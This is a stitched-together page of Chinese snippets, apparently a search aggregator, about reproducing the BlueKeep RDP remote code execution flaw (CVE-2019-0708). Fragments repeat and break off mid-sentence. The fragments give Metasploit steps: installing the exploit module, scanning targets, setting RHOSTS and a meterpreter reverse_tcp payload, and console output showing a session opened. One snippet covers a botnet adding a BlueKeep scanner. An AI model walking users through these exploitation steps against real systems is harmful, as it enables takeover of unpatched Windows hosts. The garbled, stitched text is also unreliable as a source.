metasploit-framework/pull/12283 [1] https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu
本文翻译至：https://dl.packetstormsecurity.net/papers/general/analysis-of-bluekeep.pdf
0x00简介： BlueKeep是一个软件安全漏洞，它影响使用旧版Microsoft Windows 操作系统的计算机 ; Windows 8和Windows 10不受影响。...BlueKeep于2019年5月发布了CVE - 2019-0708的常见漏洞和暴露 ID ，也称为远程桌面服务远程执行代码漏洞。...截至2019年6月1日，近百万台计算机可能面临“ 可疑 ”BlueKeep 远程桌面服务（RDS）远程执行代码（RCE）远程桌面协议（RDP）漏洞的风险。...medium.com/@alt3kx/build-an-easy-rdp-honeypot-with-raspberry-pi-3-and-observe-the-infamous-attacks-as-bluekeep
这是一款快速的CVE-2019-0708漏洞扫描工具。目前，公共互联网上大约有900,000台机器容易受到这种漏洞的影响，这还是一个命令行工具。您可以下载源代码...
（9月7号0点左右）MSF更新了CVE-2019-0708漏洞利用模块，在MSF下使用，但根据官方显示，该模块仅针对64位的Win7系统和Serve...
0x00:简介 （BlueKeep漏洞编号为cve-2019-0708） 外媒 SecurityWeek 报道，将近 100 万台设备存在 BlueKeep 高危漏洞安全隐患，而且已经有黑客开始扫描寻找潜在的攻击目标...men Ivanti 安全产品管理总监 Chris Goettl 亦在周二表示：“本次曝出的 BlueKeep 漏洞具有在全球范围内掀起另一轮 WannaCry 级别的恶意攻击的潜力”简直就是核弹级别的漏洞...https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
Windows7 X64下载链接：链接: https://pan.baidu.com/s/1A_b2PCbzInKx3hMkUz1xUg 提取码: fiwx 002 msf配置 下载cve_2019_0708_bluekeep_rce.rb...exploits/windows/rdp 扫描存在漏洞的主机 msfconsole search 0708 #扫描可用模块 use auxiliary/scanner/rdp/cve_2019_0708_bluekeep...漏洞利用 利用msf攻击 在利用msf攻击时，需要注意配置RHOSTS和target这两个参数 msfconsole use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
9月7日上午，睁开眼，连续多雨的上海终于放晴了，朋友圈却下起了“暴雨”——那个号称wannacry级别的漏洞 BlueKeep（CVE-2019-0708）漏洞利用发布了。 ?...Metasploit 在博客和推特上相继发布消息称，Metasploit正式集成针对CVE-2019-0708（也称为BlueKeep）的漏洞利用模块，虽然目前的初始版本只适用于64位版本的Windows...7和Windows 2008 R2，但也释放出了一个威胁信号，无数潜在攻击者已经开始关注到这个信息，随着后续模块更新，BlueKeep漏洞的威力也会逐渐显现出来。...关于BlueKeep（CVE-2019-0708） 北京时间5月15日，微软发布了针对远程桌面服务的远程执行代码漏洞CVE-2019-0708的修复程序, 漏洞触发无需用户交互。
_bluekeep_rce.rb->/usr/share/Metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb...msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 10.1.8.8 msf5 exploit(windows/rdp/.../cve_2019_0708_bluekeep_rce) >show targets msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set.../rdp/cve_2019_0708_bluekeep_rce) >set LPORT 1234 msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce)...>show options msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit ?
前言 BlueKeep（CVE-2019-0708）是微软远程桌面协议（RDP）实现中发现的一个安全漏洞，它允许远程执行代码。...而2019年9月6日，BlueKeep的EXP脚本被公开。 复现 早上起来朋友圈被rapid7公布2019-0708漏洞的exp刷屏了，赶紧复现一波。...替换/usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb 最后一个是rce的exp...，需要添加， /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb 如果自己手动安装...use exploit/windows/rdp/cve_2019_0708_bluekeep_rce info查看信息，目前的exp仅支持64位win 7 sp 1，2008 R2 ?
->/usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb cve_2019_0708..._bluekeep_rce.rb->/usr/share/Metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb...msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 10.1.8.8 msf5 exploit(windows/rdp/.../cve_2019_0708_bluekeep_rce) >show targets msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set.../rdp/cve_2019_0708_bluekeep_rce) >set LPORT 1234 msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce)
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhost 192.168.175.177 rhost => 192.168.175.177...msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set payload windows/x64/meterpreter/reverse_tcp...payload => windows/x64/meterpreter/reverse_tcp msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce)...> set lhost 192.168.175.200 lhost => 192.168.175.200 msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce...msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > use exploit/windows/local/payload_inject msf5
https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb...使用方法： 第1步：下载auxiliary模块 从GitHub下载cve_2019_0708_bluekeep.rb文件，把该文件放到/usr/share/metasploit-framework/modules...第2步：启动MSF 第3步：使用cve_2019_0708_bluekeep检测模块 use auxiliary/scanner/rdp/cve_2019_0708_bluekeep 第4步：设置目标计算机
验证步骤： 开启msfconsole use exploit/rdp/cve_2019_0708_bluekeep_rce set RHOSTS (设置目标主机，64位Win7系统或者 2008 R2)...输出： msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run [*] Exploiting target 192.168.56.101...manually [*] Exploit completed, but no session was created. msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce...) > set target 2 target => 2 msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run [*] Exploiting...09-06 01:26:58 -0500 [*] Session 2 created in the background. msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce
我们还发现新模块包含BlueKeep扫描器。CVE–2019-0708，是一个基于Windows的内核漏洞。...该扫描器模块的合并表明，Watchbog正在为以后针对含有Bluekeep漏洞的系统攻击做准备。...BlueKeep扫描 在较新版本的WatchBog中，已经集成了一个RDP扫描程序，以便找到易受攻击的Windows机器。...可以看出WatchBog正在收集易受攻击的BlueKeep Windows列表以供将来使用，或者出售给第三方获取利润。...Linux僵尸网络整合BlueKeep扫描器表明WatchBog开始在不同的平台上探索获利机会。目前，没有已知的RCE BlueKeep PoC。
rdp_scanner.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.db cve_2019_0708_bluekeep.rb...-> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb cve_2019_...0708_bluekeep_rce.rb -> /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb...使用use exploit/windows/rdp/cve_2019_0708_bluekeep_rce启用0708RDP攻击模块 ? 使用info可以查看工具相关信息以及设置 ?
那么扫描结果是开启了3389远程服务端口，然后我们尝试搜索CVE-2019-0708这个编号的利用模块 接着可以看到有一个 auxiliary/scanner/rdp/cve_2019_0708_bluekeep...扫描模块我们进行使用 use auxiliary/scanner/rdp/cve_2019_0708_bluekeep 设置扫描目标 set rhosts 192.168.111.128 run...可能存在漏洞 我们尝试利用 use exploit/windows/rdp/cve_2019_0708_bluekeep_rce 设置攻击目标 set rhosts 192.168.111.128
kali 准备： 下载需要的文件 Git clone https://github.com/TinToSer/bluekeep-exploit ?...exploit/ rdp_scanner.rb --> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/ cve_2019_0708_bluekeep.rb...--> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/ cve_2019_0708_bluekeep_rce.rb -->...use exploit/windows/rdp/cve_2019_0708_bluekeep_rce //使用攻击模块 set rhosts 192.168.10.10 //设置目标主机（win7...0x05 漏洞利用-win08 ---- win2008 R2也是同样的操作命令 Msfconsole //启动maf use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
MetaSploit module Can not load another module #12321 Getting the Bluekeep Exploit-Twitter Getting the...Bluekeep Exploit 决定尝试使用git-bundle的方式来重新安装我的MSF框架，这样子的好处就是可以直接获取Github上已经含有cve-2019-0708的框架版本，而不用手动下载添加...攻击中所遇问题 首先，按照说明设置对应的参数值 msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 192.168.26.134...rhosts => 192.168.26.134 msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 4 target...=> 4 msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run 这里设置了靶机IP，对应的target架构，然后执行exp， ?
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
腾讯会议
云直播
